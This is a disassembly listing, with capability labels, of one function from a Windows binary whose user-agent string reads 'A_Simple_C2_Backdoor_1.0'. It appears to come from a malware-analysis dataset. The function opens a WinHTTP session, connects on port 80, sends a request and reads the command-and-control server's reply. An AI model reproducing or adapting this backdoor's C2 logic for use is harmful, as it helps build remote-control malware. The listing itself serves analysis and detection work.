Function at 0x140001f10
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
sub rsp, 0xf8
lea rbp, [rsp + 0xf0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.A_Simple_C2_Backdoor_1.0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140001f99
lea rax, [rbp - 0x56]
mov qword [rbp - 0x28], rax
nop
nop
lea rdx, [rbp - 0x56]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400081a2]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x56]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140002405
mov rax, qword [rbp + 0x28]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov rdx, rax
mov rax, qword [rbp - 8]
mov r9d, 0
mov r8d, 0x50
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140002014
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rax, [rbp - 0x55]
mov qword [rbp - 0x30], rax
nop
nop
lea rdx, [rbp - 0x55]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400081a2]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x55]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140002405
mov rax, qword [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::c_str___const
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x1400081a4]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400020bd
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rax, [rbp - 0x54]
mov qword [rbp - 0x38], rax
nop
nop
lea rdx, [rbp - 0x54]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400081a2]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x54]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140002405
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 0x1c], 0
jne 0x140002165
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rax, [rbp - 0x53]
mov qword [rbp - 0x40], rax
nop
nop
lea rdx, [rbp - 0x53]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400081a2]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x53]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140002405
mov rax, qword [rbp - 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
mov dword [rbp - 0x1c], eax
cmp dword [rbp - 0x1c], 0
jne 0x1400021e8
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rax, [rbp - 0x52]
mov qword [rbp - 0x48], rax
nop
nop
lea rdx, [rbp - 0x52]
mov rax, qword [rbp + 0x20]
mov r8, rdx
lea rdx, [0x1400081a2]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 0x52]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
jmp 0x140002405
mov dword [rbp - 0x5c], 0
lea rax, [rbp - 0x80]
mov rcx, rax
call fcn.140002a70
lea rdx, [rbp - 0x5c]
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
lea rax, [rbp - 0x51]
mov qword [rbp - 0x50], rax
nop
nop
mov eax, dword [rbp - 0x5c]
add eax, 1
mov ecx, eax
lea rdx, [rbp - 0x51]
lea rax, [rbp - 0xa0]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector_unsigned_long_long__std::allocator_char__const_
lea rax, [rbp - 0x51]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov eax, dword [rbp - 0x5c]
add eax, 1
mov ebx, eax
lea rax, [rbp - 0xa0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov r8, rbx
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0xa4], 0
mov ebx, dword [rbp - 0x5c]
lea rax, [rbp - 0xa0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rcx, [rbp - 0xa4]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8d, ebx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
mov eax, dword [rbp - 0xa4]
mov ebx, eax
lea rax, [rbp - 0xa0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.data__
mov rdx, rax
lea rax, [rbp - 0x80]
mov r8, rbx
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::append_char_const__unsigned_long_long_
lea rax, [rbp - 0xa0]
mov rcx, rax
call method.std::vector_char__std::allocator_char___.vector__
mov eax, dword [rbp - 0x5c]
test eax, eax
jne 0x1400021fb
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rdx, [rbp - 0x80]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp - 0x80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
jmp 0x140002405
mov rax, qword [rbp + 0x20]
add rsp, 0xf8
pop rbx
pop rbp
ret